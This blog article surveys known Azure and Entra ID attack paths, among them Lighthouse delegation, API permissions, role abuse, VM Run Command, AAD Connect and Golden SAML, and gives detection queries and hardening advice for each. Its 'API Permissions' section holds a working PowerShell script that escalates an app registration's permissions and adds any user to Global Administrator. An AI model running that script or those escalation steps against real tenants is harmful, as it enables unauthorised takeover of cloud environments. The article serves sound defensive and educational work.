Inhalt

Azure Attack Paths

Creating and maintaining a secure environment is hard. And with every technology or product added to your environment it gets more complicated. Microsoft Azure as a cloud environment is no exception to this rule and with the many services and features that get added every year it just gets more complicated even if you did not change a thing. Because keeping your IT assets secure is important as you move to the cloud, it is important to know which bad practices to avoid and which attack scenarios are out there.

In this blog article I want to shed some light on known attack paths in an Azure environment. The attacks are not new to many, and I relied on public research from other IT security professionals while writing this article. Like with on-premises Active Directory I thought it is important to make this information as easily accessible as possible. To show how different services and permissions can lead to a vulnerable environment is key and having all those information in one place is a good start.

Since attack graphs help to ease some of the complexity, I based my overview of the different attack paths on this model.

Depending on the information included in the published work for each attack path, I limited my writeup to a brief attack description, and you will have to read the original articles for the nitty-gritty details and in-depth explanations. I don’t want to just replicate the original authors work, but create a starting point for everybody out there. If I did not find the information I was looking for, I included a more detailed description in this article.

Warnung
Most of those attacks are not just academic in nature, but are used by attackers in the real world.
Notiz
If provided, all hunting queries will be based on PowerShell or Kusto/KQL queries. For the latter you will have to forward you Azure and Entra ID (Azure AD) activity to a Log Analytics workspace. This workspace, in most cases, does not have to be Microsoft Sentinel enabled to execute the queries, but I try to optimize them for usage in Sentinel.

Map

/azure-attack-paths/images/AzureDominancePathsColor.png
Azure Attack Path Map

Miss something?
Do you miss an attack vector?
Please feel free to contact me on Twitter. DMs are open and I’m happy to extend this article over time..

You can download this overview in different formats:

Azure Lighthouse

Attack Description

Azure Lighthouse is on its own a legitimate way to manage resources in other tenants. But an attacker could trick an administrator or use a hijacked account to accept the delegated permission request.

/azure-attack-paths/images/AzureLighthouse-Delegation.jpg

To achieve this the attacker creates a custom template with the needed role definition. Note that you can’t use Owner or any built-in role with DataActions permissions.

/azure-attack-paths/images/AzureLighthouse-CreateOffer.png
Add authorization

/azure-attack-paths/images/AzureLighthouse-ARMOffer.png
Create ARM Template offer

The resulting template must be deployed within the target tenant. A separate deployment is necessary for each subscription. The attacker could use Azure Policy to deploy this in an automated fashion.

/azure-attack-paths/images/AzureLighthouse-DeployOffer.png
Deploy Lighthouse

After this deployment is done the attacker can access the resources in target tenant subscription from her own tenant. Because the attacker has Contributor access an attack path like Invoke-AzVMRunCommand is possible.

From the attackers side you can view your customers in the respective blade in the Azure Portal.

/azure-attack-paths/images/AzureLighthouse-MyCustomers.png
My customers

Attack Path

/azure-attack-paths/images/AzureLighthouse.png
Azure Lighthouse

Detection

The original deployment is visible but can also be deleted from the Deployments section in the subscription.

/azure-attack-paths/images/AzureLighthouse-DetectionDeployment.png

A better way to detect this kind of attack is to check for unexpected assignment of a Microsoft.ManagedServices registration. Check the hunting query for this.

In the target tenant you can also check which service offers are currently active through PowerShell or in the Azure Portal.

Get-AzManagedServicesDefinition
Get-AzManagedServicesAssignment

/azure-attack-paths/images/AzureLighthouse-ManagedServicesDefinition.png

/azure-attack-paths/images/AzureLighthouse-ManagedServicesAssignment.png

/azure-attack-paths/images/AzureLighthouse-ServiceProviders.png

What might be a problem in the current preview state of the service but makes detection a bit harder is the RBAC view for the attacked subscription. There is no mention of the additional Contributor.

/azure-attack-paths/images/AzureLighthouse-RBAC.png

All actions initiated by the attacker are logged in the activity logs as well.

/azure-attack-paths/images/AzureLighthouse-Activity.png

Hunting Queries

Query for Microsoft.ManagedServices registrations.

AzureActivity
| where OperationNameValue =~ "Microsoft.ManagedServices/registrationAssignments/Write"
| extend timestamp = TimeGenerated, AccountCustomEntity = Caller, IPCustomEntity = CallerIpAddress

To check for any operation done by a user from another tenant

let HomeTenantId = "YOURTENANTID";
AzureActivity
| extend TenantId = todynamic(Claims).['http://schemas.microsoft.com/identity/claims/tenantid']
| where TenantId != HomeTenantId
| where isnotempty( TenantId )
| sort by TimeGenerated

Additional information


Delegated Administrative Privileges

Attack Description

The concept of delegated administrative privileges for partners is something that was established for Cloud Solution Providers (CSP). They can offer licenses and services to customers and on the other hand take over first and second level support for those customers and services.

The idea was great, but what most customers don’t knew was that the CSP gained Global Admin permissions in their tenant. And the customer has no way to control which user of the partner access their data. Only the partner could implement a role-based access concept. And even this is mostly an all or nothing approach that does not allow to differentiate between customers only between roles.

This came to haunt Microsoft when NOBELIUM started to target CSPs with delegated administrative privileges.

In February of 2022 Microsoft released granular delegated admin privileges (GDAP) to mitigate those far reaching permissions.

Attack Path

/azure-attack-paths/images/DelegatedAdministrativePrivileges.png
Delegated Administrative Privileges

Detection

Check your partners in the Microsoft Admin Center and remove unneeded permissions. They still can offer you licenses and support.

Use Azure Lighthouse or direct Azure RBAC assignments were needed.

/azure-attack-paths/images/DelegatedAdministrativePrivileges-Partner.png

/azure-attack-paths/images/DelegatedAdministrativePrivileges-RemoveRoles.png

This is also what Microsoft recommends to their partners.

/azure-attack-paths/images/DelegatedAdministrativePrivileges-MicrosoftRecommendation.png

Additional information


API Permissions

Attack Description

Enterprise Applications and applications registrations are a fundamental part of Entra ID (Azure AD). A big part of application management in Entra ID (Azure AD) is around granting the right permissions for the used applications.

Granting an application app permissions gives the app access to this Graph Endpoints and related data sets regardless of if a user is logged in or nor. The app can use app secrets or certificates to authenticate against the service and access the data.

Some permissions grant extensive permission and are potentially harmful. Depending on the permissions already gained in the environment an attacker can add a custom app registration, grant those additional permissions and use this application as a backdoor to the tenant.

Watch out for the following permissions and remove them if possible.

Attack script

In my talk at the Cloud Identiy Summit 2022, I demonstrated how to abuse this attack path using the Microsoft.Graph module. You need a app registration which you grant the permission Application.ReadWrite.All. Then assign any (really) user as owner.

# Create a self signed certificate
$AppDisplayName = "Abuse of API Permissions"
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" -Subject "CN=$($AppDisplayName)" -KeySpec KeyExchange -NotAfter (Get-Date).AddDays(2)
Export-Certificate -Cert $cert -FilePath ~\Downloads\AppRoleAssignment.cer

# Sign in with the user that has owner permissions and add the exported public certificate as a secret to the app registration

# Modify the following variables to match your environment
$ClientId = "GUID"
$servicePrincipalId = "GUID"
$TenantId = "GUID"
$TargetUserUPN = "UPNOfAnyUser" # Will be GA at the end of this script

# Connect as the application using the the certificate as a secret 
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId

# Check you permission scopes
Get-MgContext

# Add additional permissions to the app
$appRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments"  | Select-Object -ExpandProperty value
$params = @{
    principalId = $servicePrincipalId
    resourceId  = $appRoleAssignments.resourceId
    appRoleId   = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
$params = @{
    principalId = $servicePrincipalId
    resourceId  = $appRoleAssignments.resourceId
    appRoleId   = "df021288-bdef-4463-88db-98f22de89214" # User.Read.All
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params

# Reconnect to apply the new API permissions
Disconnect-MgGraph
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId

# Check the scopes again
Get-MgContext

# Get UserId for the user
$TargetUser = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/users/$TargetUserUPN"

# Add the user to the global admin role
$Reference = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/" + $TargetUser.id }
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Body $Reference -ContentType "application/json"

Attack Path

/azure-attack-paths/images/APIPermissions.png
API Permissions

Detection

Use the script AuditAppRoles.ps1 published by Andy Robbins.

Should you prefer a native solution using the Microsoft.Graph module, I adapted the script.

# Connect to Microsoft.Graph
Connect-MgGraph -Scopes "Application.Read.All" -UseDeviceAuthentication

$DangerousAPIPermissions = @{
    "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" = "RoleManagement.ReadWrite.Directory -> directly promote yourself to GA"
    "06b708a9-e830-4db3-a914-8e69da51d44f" = "AppRoleAssignment.ReadWrite.All -> grant yourself RoleManagement.ReadWrite.Directory, then promote to GA"
    "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9" = "Application.ReadWrite.All -> act as another entity e.g. GA"
}

#region New watchlist items
Write-Verbose "Query tenant applications - https://graph.microsoft.com/v1.0/applications"
$NextUri = "https://graph.microsoft.com/v1.0/applications"
do {
    $Result = Invoke-MgGraphRequest -Method Get -Uri $NextUri
    $TenantApplications += $Result.'value'
    $NextUri = $Result.'@odata.nextLink'
} while ($null -ne $NextUri)

foreach ($TenantApplication in $TenantApplications) {
    try {
        Write-Verbose "Query Service Principals of application `"$($TenantApplication.displayName)`" - https://graph.microsoft.com/v1.0/servicePrincipals/?`$filter=(appid eq '$($TenantApplication.appId)')"
        $ServicePrincipals = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/?`$filter=(appid eq '$($TenantApplication.appId)')" -Verbose:$False
        $ServicePrincipals = $ServicePrincipals['value']
        foreach ($ServicePrincipal in $ServicePrincipals) {
            Write-Verbose "Query role assignment - https://graph.microsoft.com/v1.0/servicePrincipals/$($ServicePrincipal.id)/appRoleAssignments"
            $SPRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($ServicePrincipal.id)/appRoleAssignments" -Verbose:$False
            $SPRoleAssignments = $SPRoleAssignments['value']
            foreach ($SPRoleAssignment in $SPRoleAssignments) {
                if ( $SPRoleAssignment.appRoleId -in $DangerousAPIPermissions.Keys) {
                    Write-Verbose "Found high priviledged application `"$($TenantApplication.displayName)`" with role `"$($SPRoleAssignment.appRoleId)`""
                    # App registrations watchlist entry
                    [PSCustomObject]@{
                    
                        "objectId"          = $TenantApplication.id
                        "DisplayName"       = $TenantApplication.displayName
                        "GrantedPermission" = $DangerousAPIPermissions[$SPRoleAssignment.appRoleId]
                        "Type"              = "AppRegistration"
                    }
                    [PSCustomObject]@{
                        "objectId"          = $ServicePrincipal.id
                        "DisplayName"       = $ServicePrincipal.displayName
                        "GrantedPermission" = $DangerousAPIPermissions[$SPRoleAssignment.appRoleId]
                        "Type"              = "ServicePrincipal"
                    }
                }
            }
        }
    } catch {
        Continue
    }
}
#endregion

If you use Microsoft Defender for Cloud Apps (Microsoft Cloud App Security) in your environment, then there is a built-in alert Unusual addition of credentials to an OAuth app that can be used as an indicator of malicious activity.

Hunting Queries

Use this query to check if any of these dangerous permissions are granted to an application.

let DangerousPermissions = dynamic(["AppRoleAssignment.ReadWrite.All","Application.ReadWrite.All","RoleManagement.ReadWrite.Directory"]);
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| where Result =~ "success"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "AppRole.Value"
| extend InitiatingUserOrApp = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatingIpAddress = tostring(InitiatedBy.user.ipAddress)
| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")
| extend AddedPermission = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedPermission in~ ( DangerousPermissions )
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "ServicePrincipal.ObjectID"
| extend ServicePrincipalObjectID = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress

To identify if any user is added as on owner use the PowerShell script above to identify all apps with those critical permissions. Then create a Sentinel watchlist named HighRiskApps containing the objectId and the displayName of those applications. The objectId has to be the SearchKey.

Example

993756fa-a470-4580-af15-544acc2b3888,Cloud Identity Summit Demo RoleManagement.ReadWrite.Directory
f15662f1-641c-4747-b690-a7df80c807da,Cloud Identity Summit Demo AppRoleAssignment.ReadWrite.All

This query will make use of the AuditLogs in combination with the watchlist.

AuditLogs
| where OperationName == "Add owner to application"
| extend SearchKey = tostring(TargetResources[1].id)
| join kind=inner _GetWatchlist('HighRiskApps') on SearchKey
| extend TargetUser = tostring(TargetResources[0].userPrincipalName)
| extend Actor = tostring(InitiatedBy.user.userPrincipalName)

And last but not least, monitor if a new secret is added to one of those applications.

AuditLogs
| where OperationName has_any ("Add service principal", "Certificates and secrets management")
| where Result =~ "success"
| where tostring(InitiatedBy.user.userPrincipalName) has "@" or tostring(InitiatedBy.app.displayName) has "@"
| extend targetDisplayName = tostring(TargetResources[0].displayName)
| extend targetId = tostring(TargetResources[0].id)
| extend targetType = tostring(TargetResources[0].type)
| extend keyEvents = TargetResources[0].modifiedProperties
| mv-expand keyEvents
| where keyEvents.displayName =~ "KeyDescription"
| extend new_value_set = parse_json(tostring(keyEvents.newValue))
| extend old_value_set = parse_json(tostring(keyEvents.oldValue))
| where old_value_set == "[]"
| mv-expand new_value_set
| parse new_value_set with * "KeyIdentifier=" keyIdentifier:string ",KeyType=" keyType:string ",KeyUsage=" keyUsage:string ",DisplayName=" keyDisplayName:string "]" *
| where keyUsage in ("Verify","")
| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")
| extend InitiatingUserOrApp = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| extend InitiatingIpAddress = iff(isnotempty(InitiatedBy.user.ipAddress), tostring(InitiatedBy.user.ipAddress), tostring(InitiatedBy.app.ipAddress))
| project-away new_value_set, old_value_set
| project-reorder TimeGenerated, OperationName, InitiatingUserOrApp, InitiatingIpAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier, CorrelationId, TenantId
| join kind=inner _GetWatchlist('HighRiskApps') on $left.targetId == $right.SearchKey
| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress

Additional information


Azure AD Roles

Attack Description

Granting the wrong Entra ID (Azure AD) roles to a user or application can result in an attack path to global admin. Especially the “Privileged Authentication Administrator” role is like granting the user Global admin permissions, since she can reset the password of any GA, modify the MFA settings and take over the account.

The “Privileged Role Administrator” role grants the entity holding it the permission to add additional Entra ID (Azure AD) roles to any user, including the Global Administrator role. This also expands to API permissions and allows the user to grant consent for any permission to any application. See API Permissions to see what an attacker can do with this.

Attack Path

/azure-attack-paths/images/AzureADRoles.png
Entra ID (Azure AD) Roles

Detection

Hunting Queries

Use the Entra ID (Azure AD) audit log to detect changes to those roles.

let HighPrivRoles = dynamic(["Global Administrator","Company Administrator","Privileged Authentication Administrator","Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Add member to role"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "Role.DisplayName"
| extend AddedToRole = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedToRole in~ (HighPrivRoles)
| extend Actor = iff(isnotempty(InitiatedBy.user.userPrincipalName),InitiatedBy.user.userPrincipalName,InitiatedBy.app.servicePrincipalId)
| extend TargetUsername = TargetResources.userPrincipalName

You should also monitor any changes to the most privileged roles in your environment.

let HighPrivRoles = dynamic(["Global Administrator", "Company Administrator", "Privileged Authentication Administrator", "Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Reset user password"
| mv-expand TargetResources
| extend TargetUsername = tostring(TargetResources.userPrincipalName)
| join kind=innerunique (
    IdentityInfo 
    | where TimeGenerated > ago(14d)
    )
    on $left.TargetUsername == $right.AccountUPN
| mv-expand AssignedRoles
| extend AssignedRoles = tostring(AssignedRoles)
| where AssignedRoles in (HighPrivRoles)
| summarize by TimeGenerated, TargetUsername, AssignedRoles, OperationName, AADUserId=AccountObjectId

Additional information


Elevate Azure Subscription Access

Attack Description

Elevate Azure Subscription Access describes the legit method of using the Global Admin role to gain elevated permissions in your Azure environment.

To achieve this the attacker has already have extended access to your environment. The Global Admin role gives the person who holds it God like permissions in the tenant. Think of it like the Domain Admin in on-premises Active Directory.

The attacker has to enable the setting “Access management for Azure resources” in the Entra ID (Azure AD) properties. This adds the current user to the “User Access Administrator” role on the Tenant root. This allows the attacker to add additional role permissions (Azure RBAC) for her or malicious applications used for persistence on every subscription or management group in the tenant.

/azure-attack-paths/images/AccessManagementForAzureResources.png

/azure-attack-paths/images/IAMUserAccessAdministrator.png

Attack Path

/azure-attack-paths/images/ElevateAzureSubscriptionAccess.png
Elevate Azure Subscription Access Attack Path

Detection

The change of the “Access management for Azure resources” setting will not show up in the subscription audit log nor will it show up in the Entra ID (Azure AD) audit log.

However this change will be logged in the “Directory Activity” log which is accessible through “Monitor”. Switch from “Activity” to “Directory Activity” to view changes.

/azure-attack-paths/images/DirectoryActivityLog.png
Directory Activity

You can also use this PowerShell to check if there are any users with this kind of role assignment on the root scope.

Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "User Access Administrator" -and $_.Scope -eq "/"}

Hunting Queries

I’m currently not aware of a native way to forward those logs to a Log Analytics workspace or Microsoft Sentinel which would allow to hunt for the action Microsoft.Authorization/elevateAccess/action.

The Diagnostic Settings option is greyed out in the portal for this log.

/azure-attack-paths/images/DiagnosticSettingsDisabled.png

Option 1: MDA (MCAS) alert forwarding

Christopher Brumm (@cbrhh) pointed out there is an article explaining how use an alert in Microsoft Defender for Cloud Apps (Microsoft Cloud App Security) and forward this alert to Microsoft Sentinel.

If you have already setup Microsoft Azure as a connector in MDA (MCAS) you can use the following deep link to check your logs.

https://security.microsoft.com/cloudapps/activity-log?service=eq(i:12260,)&activity.eventType=eq(12260:EVENT_AZURE_GENERIC:Microsoft.Authorization%252FelevateAccess%252Faction,)&source=eq(t:2,)&activityObject=eq(%252Fproviders%252FMicrosoft.Authorization,)

or if you still want to use the old portal

https://portal.cloudappsecurity.com/#/audits?service=eq(i:12260,)&activity.eventType=eq(12260:EVENT_AZURE_GENERIC:Microsoft.Authorization%2FelevateAccess%2Faction,)&source=eq(t:2,)&activityObject=eq(%2Fproviders%2FMicrosoft.Authorization,)

/azure-attack-paths/images/ElevateAzureSubscriptionAccess_MDA.png
Detection in Microsoft Defender for Cloud Apps

Option 2: Native Microsoft Sentinel Alert

If you don’t want to define alerts in MDA (MCAS) as well as Microsoft Sentinel Sami Lamppus has a great blog post on how to use the “Microsoft 365 Defender (Preview)” data connector yto stream the raw CloudAppEvents events to Microsoft Sentinel and build a analytics rule there.

/azure-attack-paths/images/SentinelDefenderConnector.png
Microsoft 365 Defender (Preview) data connector

/azure-attack-paths/images/SentinelDefenderCloudAppsStreaming.png
Event streaming of CloudAppEvents

Now you can query the CloudAppEvents to identify this action. Keep in mind that the raw data ingestion in Microsoft Sentinel is a paid feature, while alert forwarding is free.

For all the details and the analytics query head over to the original blog post.

Additional information


Azure VM Run Command or Custom Script execution

Attack Description

With foothold in an subscription and a role assignment of Virtual Machine Contributor or any custom role holding the Microsoft.Compute/virtualMachines/* permission the attacker can execute scripts or PowerShell commands on any virtual machine within this subscription.

This allows her to laterally from your cloud environment to your on-premises environment and if the servers are connected to the internal network move forward from here.

The script sent to the VM resides in the attacker’s computer, or as show in this demo, directly in Azure Cloud Shell.

Invoke-AzVMRunCommand -ResourceGroupName 'RESOURCEGROUP' -Name 'VMNAME' -CommandId 'RunPowerShellScript' -ScriptPath ./runcommand.ps1

/azure-attack-paths/images/Invoke-AzVMRunCommand.gif
Azure VM Run Command demo

Notiz
The playback speed was changed the actual execution took about 30 seconds.

Attack Path

/azure-attack-paths/images/AzureVMRunCommand.png
Azure VM Run Command Attack Path

Detection

All this activity will be logged in the Subscription activity log as well as on the target machine.

Subscription Activity Log

/azure-attack-paths/images/AzureVMRunCommand-AzureActivityLog.png

You can forward your subscription activity log to a central Log Analytics workspace and use Azure Monitor or Microsoft Sentinel to create an alert or incident based on the activity.

/azure-attack-paths/images/AzureSubscriptionActivityLogToLogAnalytics_1.png

/azure-attack-paths/images/AzureSubscriptionActivityLogToLogAnalytics_2.png

Another method is to use the Azure Policy definition Configure Azure Activity logs to stream to specified Log Analytics workspace to automate this configuration on all of your subscriptions.

Virtual machine

The script is executed in the context of the SYSTEM user and therefore has far reaching permissions within Windows.

/azure-attack-paths/images/AzureVMRunCommand-Event4688.png

Hunting Queries

A simple query to detect this behavior would be this. The make_list is used because each successful execution has three events. Accept, Start and Success.

Since you can execute this command from the Azure Cloud Shell the ip address might not be the attackers own ip address but a Microsoft one.

AzureActivity 
| where CategoryValue == "Administrative"
| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/runCommand/action"
| extend VMName = tostring(todynamic(Properties).resource)
| summarize make_list(ActivityStatusValue), TimeGenerated = max(TimeGenerated) by CorrelationId, CallerIpAddress, Caller, ResourceGroup, VMName

/azure-attack-paths/images/AzureVMRunCommand-KQLDetection.png
Detect Azure VM Run Command Attack with KQL

Microsoft itself provides additional and more complex hunting queries for this activity.

Additional information


Managed Identities

Attack Description

Managed Identities are a great way to minimize the need to handle credentials and grant permissions to nonhuman entities.

Resources like Virtual machines can be enabled to use system or user-assigned managed identities and this identity then can be granted permissions on other resources.

If you use the virtual machine, you can use the managed identity and therefore access these resources without having knowledge of any credentials.

An attacker can use this for her advantage when the managed identity is granted to many permissions. E.g., a virtual machine with a managed identity that was granted contributor on a subscription can take over the subscription and all resources within the subscription or even move latterly to other virtual machines within this subscription.

Attack Path

/azure-attack-paths/images/ManagedIdentity.png
Managed Identities

Detection

Check you managed identities and their permissions and restrict them to the minimal permissions needed. The principle of least privilege is key here.

You get an overview over all managed identities within the Entra ID (Azure AD) - Enterprise applications blade.

/azure-attack-paths/images/ManagedIdentity-List.png
List of all managed identities

You can use PowerShell to list all RBAC permissions of those managed identities.

$ManagedIdentities = Get-AzADServicePrincipal | ? ServicePrincipalType -eq "ManagedIdentity"
foreach ($ManagedIdentity in $ManagedIdentities) {
    Get-AzRoleAssignment -ObjectId $ManagedIdentity.Id
}

Additional information


Desired State Configuration

Attack Description

Desired State Configuration (DSC) is a built-in configuration capability of every Windows Server with at least Windows PowerShell v4. It relies on a central service to provide configurations and an agent on the server (Local Configuration Manager (LCM)) applies those configurations.

Using the Azure Automation State Configuration, you can deploy configuration changes to every Windows server in your environment and therefore this technique can also be used to deploy malicious configurations or backdoors to your servers.

Info
The attack path “Azure Policy with Guest Configuration Service” uses the successor of the Azure Automation State Configuration service to do the exact same thing.

Attack Path

/azure-attack-paths/images/DesiredStateConfiguration.png
Desired State Configuration

Additional information


Azure Policy with Guest Configuration Service

Attack Description

Azure Policy with Guest Configuration Service is the successor of the Azure Automation State Configuration service and uses the new platform independent version of PowerShell (formerly PowerShell Core).

The attacker can create custom configuration packages and deploy them through native Azure capabilities. In this case she would also have to deploy the Guest Configuration extension to each attacked machine, since this method is not built-in to Windows.

Since this capability is included in Azure Policy the attacker can hide in plain sight, as long as the admins do not watch to close what Azure Policies are getting deployed.

The Guest Configuration extension is running in the SYSTEM context, so any attack does not have to fiddle with limited privileges on the target machine. As soon as the targeted machine has additional permissions in the Azure environment, through the mandatory system managed identity, the attacker can use this to lateral move in the environment.

Attack Path

/azure-attack-paths/images/AzurePolicyWithGuestConfigurationService.png
Azure Policy with Guest Configuration Service

Additional information


Azure Automation Hybrid Runbook Worker

Attack Description

Azure Run As accounts were the default method to add Azure permissions to any Azure Automation account, before managed identities were introduced. Microsoft does not recommend the usage anymore

/azure-attack-paths/images/NewRunAsAccount.png

Run as accounts use certificate-based authentication, this certificate is created automatically including a Run As Connection for easier usage in your automation runbooks.

/azure-attack-paths/images/AzureRunAsCertificate.png

/azure-attack-paths/images/AzureRunAsConnection.png

To use this certificate on a hybrid worker, a machine on-prem or in the cloud that is used to execute your runbooks, without the limitations of the native Azure runbook worker, it must be exported to this machine.

An attacker with access to this machine could extract the certificate including the private key and use it to authenticate against the Azure environment. Depending on the configuration she could use this app identity to access additional resources or even get initial foothold in the target Azure environment.

Attack Path

/azure-attack-paths/images/AzureAutomationHybridRunbookWorker.png
Azure Automation Hybrid Runbook Worker

Additional information

AAD Connect - Password reset

Attack Description

When installing Entra ID (Azure AD) Connect to sync your identities from the on-prem environment to Entra ID (Azure AD), a user is created called MSOL_[0-9a-f]{12} in both directories. This user has extensive permissions in your on-prem and your cloud environment. Also, this user is excluded from security defaults and most companies exclude it from their conditinal access policies.

/azure-attack-paths/images/ExcludeSyncAccount.png
Excluded from security defaults

An attacker, with admin permissions on the Entra ID (Azure AD) Connect server, can extract the password of this user and authenticate against AAD to reset passwords of users. If you sync an on-prem admin account and have granted this user e.g., global admin, the attacker can use this as an entry point to your AAD.

In the on-prem environment the MSOL use, in most cases, has also the ability to reset passwords and even read passwords using DCSync. The attacker now can request the password of the krbtgt user and use this to create golden or silver Kerberos tickets.

Treat your Entra ID (Azure AD) connect server as you would a domain controller. This is clearly a Tier 0 machine.

Also do not sync any admin users between AD and AAD. Try to establish a trust boundary between those two directories.

In addition to the Microsoft recommendations on hardening, you can go even further and limit the capabilities of the MSOL_ user to those organization units and users that must be synchronized. And krbtgt is none of those users.

Notiz
Using Pass-through Authentication (PTA) does not allow for the exact the same attack vector, but an attacker could harvest the passwords send to the server and use those to lateral move through the environment.

Attack Path

/azure-attack-paths/images/AADConnectTakeover.png
AAD Connect

Additional information


AAD Connect - Application takeover

Attack Description

Instead of trying to reset a password of an existing user, the attacker can also use the Microsoft Graph permissions granted to the AAD Connect account, or more specific the Entra ID role “Directory Synchronization Accounts”.

With those permissions the attacker can take ownership of every enterprise application in Microsoft Entra ID (Azure AD) and add new credentials. Depending on the method the attacker chooses to do this, those credentials will not be visible in the portal UI and only via Graph requests.

The added credentials allow the attacker to sign-in using this application and now the attacker has the same permissions as the application. Depending on the granted permissions they could be equivalent to Global Admin.

Attack Path

/azure-attack-paths/images/AADConnectAppOwnerTakeover.png
Use ADD Connect account to take ownership of a specific application and add secrets

Detection

To detect this attack you must monitor the Entra ID (Azure AD) SigninLogs. Any connection from the Azure AD Connect Sync user that is not using the application Id “cb1056e2-e479-49de-ae31-7812af012ed8” or the target resource “Windows Azure Active Directory” must be treated suspiciously.

Hunting Queries

union isfuzzy=true SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(90d)
| where UserPrincipalName startswith "Sync_" and UserPrincipalName endswith "onmicrosoft.com"
// Only alert when AppId != Microsoft Azure Active Directory Connect and the ressource is not AAD 
| where AppId != "cb1056e2-e479-49de-ae31-7812af012ed8" and ResourceDisplayName != "Windows Azure Active Directory"

More extensive hunting queries and Sentinel Analytics rules can be found in the original blog post on this attack.

Additional information


Active Directory Federation Server (ADFS)

Attack Description

When the attacker can access the private key material on you Active Directory Federation Server (ADFS), she can create forged SAML responses that are accepted by any service that trusts the ADFS service. Therefore, this attack was initially also named “Golden SAML”, in reference to the golden ticket attack when using Kerberos.

Any user synced from on-prem to the cloud, which is redirected to the ADFS for authentication can be impersonated, without even knowing the password.

As an bonus, this attack might even bypass any MFA requirement, because the forged SAML response could include the necessary information that a MFA was successfully done by the user.

Attack Path

/azure-attack-paths/images/GoldenCertificate.png
Active Directory Federation Server

Additional information


I tried to add the most important links to external sources at the end of each attack path, so you can check out which changes may be needed in your environment. But here you will find a few additional information and tools you can use in your environment today.

Should you need a jump start read Security roadmap - Top priorities for the first 30 days, 90 days, and beyond by Microsoft and watch the session on YouTube.

/azure-attack-paths/images/luignzNyR-o.png
Security roadmap - Top priorities for the first 30 days, 90 days, and beyond

You should also read about Microsofts Security rapid modernization plan, especially “Securing privileged access”.

/azure-attack-paths/images/end-to-end-approach.png
Image by Microsoft

Tools

Notiz
This list does not contain every tool already mentioned in this article, but is more a honorable mention to a few tools that are super helpful and I want to promote.

AAD Internals

For anything Entra ID (Azure AD) related you should definitely check out the AAD Internals PowerShell module written by Dr. Nestori Syynimaa. It is the most comprehensive toolkit if you want to tamper with your Entra ID (Azure AD) and everything related.

Find it on GitHub and in the PowerShell gallery.

Bloodhound

Bloodhound added support for some Entra ID (Azure AD) based attack paths in November of 2020 and even further support for Azure in March of 2022. It is also a great tool for your on-prem environment.

Slides

Versioning and Updates

  • 2022-03-21 - Release of the initial version
  • 2022-09-16 - Updated title from Azure Dominance Paths to Azure Attack Paths
  • 2022-09-17 - Added link to unified M365 portal in Elevate Azure Subscription Access path
  • 2022-09-23 - Added slides, attack examples and Sentinel queries used at Cloud Identiy Summit 2022
  • 2022-09-23 - Added new detection for Elevate Azure Subscription Access
  • 2023-08-24 - Updated script and fixed wrong permission id
  • 2023-09-17 - Added new attack path - “Azure AD Connect - Application takeover